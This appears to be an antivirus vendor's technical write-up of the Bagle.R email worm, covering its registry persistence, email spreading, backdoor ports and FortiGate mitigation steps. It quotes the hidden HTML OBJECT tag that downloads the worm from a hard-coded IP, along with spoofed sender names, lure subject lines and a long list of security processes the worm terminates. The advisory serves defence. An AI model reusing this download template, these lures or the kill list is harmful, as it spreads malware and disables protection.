Virus

W32/Bagle.R@mm

Analysis


Specifics
This virus is a minor variant of W32/Bagle.Q-mm - this variant is not likely to be seen due to it's quirky email scanning routine.

As with the .Q variant, the virus is not delivered to the target system in an email message, it is downloaded from an infected computer. The download request is initiated by an OBJECT Tag in an HTML format email message sent to the target system from an infected host. The OBJECT Tag takes advantage of a vulnerability in Outlook Express and Internet Explorer where code runs in the "My Computer" trusted zone. A correction for the vulnerability is within update patch MS03-040 available from Microsoft.

This virus uses SMTP code to send emails to target addresses found on the infected system - the emails do not contain an attachment, but rather contain an OBJECT Tag with instructions to download a copy of the virus from an IP address, and run it automatically without user intervention.

If the virus is run, it will copy itself to the hard drive, modify the registry to auto run at Windows startup, and send itself out by email to others. This virus may also bind to TCP ports 81 and 2556 and await instructions from a malicious user across port 2556. TCP port 81 is available as a download port but isn't used.


Loading At Windows Startup
If the virus is run, it will copy itself to the local hard drive and create these binary files into the System folder -

c:\WINNT\system32\direct.exe - copy of the virus
c:\WINNT\system32\direct.exeopen - copy of virus with extra data at end of file

The virus will adjust the registry to auto run the virus at next Windows startup as in this example -

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
"direct.exe" = C:\WINNT\System32\direct.exe


Email Spreading
The virus will scan for emails in a single folder named "C:\EmailsOut\" in order to locate possible target email addresses. For each email address found, the virus will attempt to send an email to others, in HTML format. The body of the message contains an OBJECT Tag which attempts to automatically download a .JPEG or .PHP file - the .JPEG or .PHP file is really an .HTA file and automatically runs code to retrieve a binary file and save it to the intended target, and then run the file. The email message will be in this format, where "undefinedIP" is one of 291 hard-coded IP addresses stored in the virus code, and undefinedn is a random digit file name prefix, such as "15829" -

To: undefinedFOUNDundefined
From: [spoofed email address]
Subject: undefinedVARIABLEundefined
Body:
<font face="System">
<OBJECT STYLE="display:none" DATA="http://undefinedIP:81/undefinedn.php">
</OBJECT>

The "DATA" value references a hard-coded IP address stored in the virus body. The virus code is downloaded via TCP port 81.

The "From" address is spoofed and may appear to come from a reliable or trusted source - the virus uses these addresses to create the "From" address field -

administration@
antispam@
antivirus@
management@
noreply@
staff@
support@

Below is a list of possible subject lines -


Account notify
E-mail account disabling warning.
E-mail account security warning.
Email account utilization warning.
Email report
E-mail technical support message.
E-mail technical support warning.
E-mail warning
Encrypted document
Fax Message Received
Forum notify
Hidden message
Important notify
Important notify about your e-mail account.
Incoming message
Notify about using the e-mail account.
Notify about your e-mail account utilization.
Notify from e-mail technical support.
Protected message
Re: Document
Re: Hello
Re: Hi
Re: Incoming Fax
Re: Incoming Message
Re: Msg reply
RE: Protected message
RE: Text message
Re: Thank you!
Re: Thanks :)
Re: Yahoo!
Request response
Site changes
Warning about your e-mail account.


Application Termination Payload
The virus may attempt to close processes or applications matching the following names -

AGENTSVR.EXE
ANTI-TROJAN.EXE
ANTIVIRUS.EXE
ANTS.EXE
APIMONITOR.EXE
APLICA32.EXE
APVXDWIN.EXE
ATCON.EXE
ATGUARD.EXE
ATRO55EN.EXE
ATUPDATER.EXE
ATWATCH.EXE
au.exe
AUPDATE.EXE
AUTODOWN.EXE
AUTOTRACE.EXE
AUTOUPDATE.EXE
AVCONSOL.EXE
AVGSERV9.EXE
AVLTMAIN.EXE
AVprotect9x.exe
AVPUPD.EXE
AVSYNMGR.EXE
AVWUPD32.EXE
AVXQUAR.EXE
BD_PROFESSIONAL.EXE
BIDEF.EXE
BIDSERVER.EXE
BIPCP.EXE
BIPCPEVALSETUP.EXE
BISP.EXE
BLACKD.EXE
BLACKICE.EXE
BOOTWARN.EXE
BORG2.EXE
BS120.EXE
CDP.EXE
CFGWIZ.EXE
CFIADMIN.EXE
CFIAUDIT.EXE
CFINET.EXE
CFINET32.EXE
CLEAN.EXE
CLEANER.EXE
CLEANER3.EXE
CLEANER3.EXE
CLEANPC.EXE
CMGRDIAN.EXE
CMON016.EXE
CPD.EXE
CPF9X206.EXE
CPFNT206.EXE
CV.EXE
CWNB181.EXE
CWNTDWMO.EXE
d3dupdate.exe
DEFWATCH.EXE
DEPUTY.EXE
DPF.EXE
DPFSETUP.EXE
DRWATSON.EXE
DRWEBUPW.EXE
ENT.EXE
ESCANH95.EXE
ESCANHNT.EXE
ESCANV95.EXE
EXANTIVIRUS-CNET.EXE
FAST.EXE
FIREWALL.EXE
FLOWPROTECTOR.EXE
FP-WIN_TRIAL.EXE
FRW.EXE
FSAV.EXE
FSAV530STBYB.EXE
FSAV530WTBYB.EXE
FSAV95.EXE
GBMENU.EXE
GBPOLL.EXE
GUARD.EXE
GUARDDOG.EXE
HACKTRACERSETUP.EXE
HTLOG.EXE
HWPE.EXE
IAMAPP.EXE
IAMSERV.EXE
ICLOAD95.EXE
ICLOADNT.EXE
ICMON.EXE
ICSSUPPNT.EXE
ICSUPP95.EXE
ICSUPPNT.EXE
IFW2000.EXE
IPARMOR.EXE
IRIS.EXE
JAMMER.EXE
KAVLITE40ENG.EXE
KAVPERS40ENG.EXE
KERIO-PF-213-EN-WIN.EXE
KERIO-WRL-421-EN-WIN.EXE
KERIO-WRP-421-EN-WIN.EXE
KILLPROCESSSETUP161.EXE
LDPRO.EXE
LOCALNET.EXE
LOCKDOWN.EXE
LOCKDOWN2000.EXE
LSETUP.EXE
LUALL.EXE
LUCOMSERVER.EXE
LUINIT.EXE
MCAGENT.EXE
MCUPDATE.EXE
MFW2EN.EXE
MFWENG3.02D30.EXE
MGUI.EXE
MINILOG.EXE
MOOLIVE.EXE
MRFLUX.EXE
MSCONFIG.EXE
MSINFO32.EXE
MSSMMC32.EXE
MU0311AD.EXE
NAV80TRY.EXE
NAVAPW32.EXE
NAVDX.EXE
NAVSTUB.EXE
NAVW32.EXE
NC2000.EXE
NCINST4.EXE
NDD32.EXE
NEOMONITOR.EXE
NETARMOR.EXE
NETINFO.EXE
NETMON.EXE
NETSCANPRO.EXE
NETSPYHUNTER-1.2.EXE
NETSTAT.EXE
NISSERV.EXE
NISUM.EXE
NMAIN.EXE
NORTON_INTERNET_SECU_3.0_407.EXE
NPF40_TW_98_NT_ME_2K.EXE
NPFMESSENGER.EXE
NPROTEC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EXE
VBCONS.EXE
VBUST.EXE
VBWIN9X.EXE
VBWINNTW.EXE
VCSETUP.EXE
VFSETUP.EXE
VIRUSMDPERSONALFIREWALL.EXE
VNLAN300.EXE
VNPC3000.EXE
VPC42.EXE
VPFW30S.EXE
VPTRAY.EXE
VSCENU6.02D30.EXE
VSECOMR.EXE
VSHWIN32.EXE
VSISETUP.EXE
VSMAIN.EXE
VSMON.EXE
VSSTAT.EXE
VSWIN9XE.EXE
VSWINNTSE.EXE
VSWINPERSE.EXE
W32DSM89.EXE
W9X.EXE
WATCHDOG.EXE
WEBSCANX.EXE
WGFE95.EXE
WHOSWATCHINGME.EXE
WINRECON.EXE
WNT.EXE
WRADMIN.EXE
WRCTRL.EXE
WSBGATE.EXE
WYVERNWORKSFIREWALL.EXE
XPF202EN.EXE
ZAPRO.EXE
ZAPSETUP3001.EXE
ZATUTOR.EXE
ZAUINST.EXE
ZONALM2601.EXE
ZONEALARM.EXE


Remote Access Capability
The virus will open TCP port 2556 and await instructions from a malicious user. The virus will also bind with TCP port 81 to provide an avenue to deliver a copy of the virus to other requesting targets. This functionality is not used by this variant.



Recommended Action

  • Add TCP port 81 to the HTTP ports that FortiGate scans using the CLI - connect into the FortiGate using the com port connection and issue the following command -

    set antivirus service http port add 81

    This will instruct the FortiGate unit to scan TCP port 81 as http traffic

  • Add these extensions to the list of file extensions to scan for FortiClient detection -

    .JPEG
    .PHP

  • Check the main screen using the web interface for your FortiGate unit to ensure that the latest AV/NIDS database has been downloaded and installed on your system - if required, enable the "Allow Push Update" option

  • Using the FortiGate manager, temporarily enable blocking of .PHP files using HTTP services

  • Using the FortiGate manager, enable blocking external to internal and internal to external TCP port 81 (temporarily) and also TCP port 2556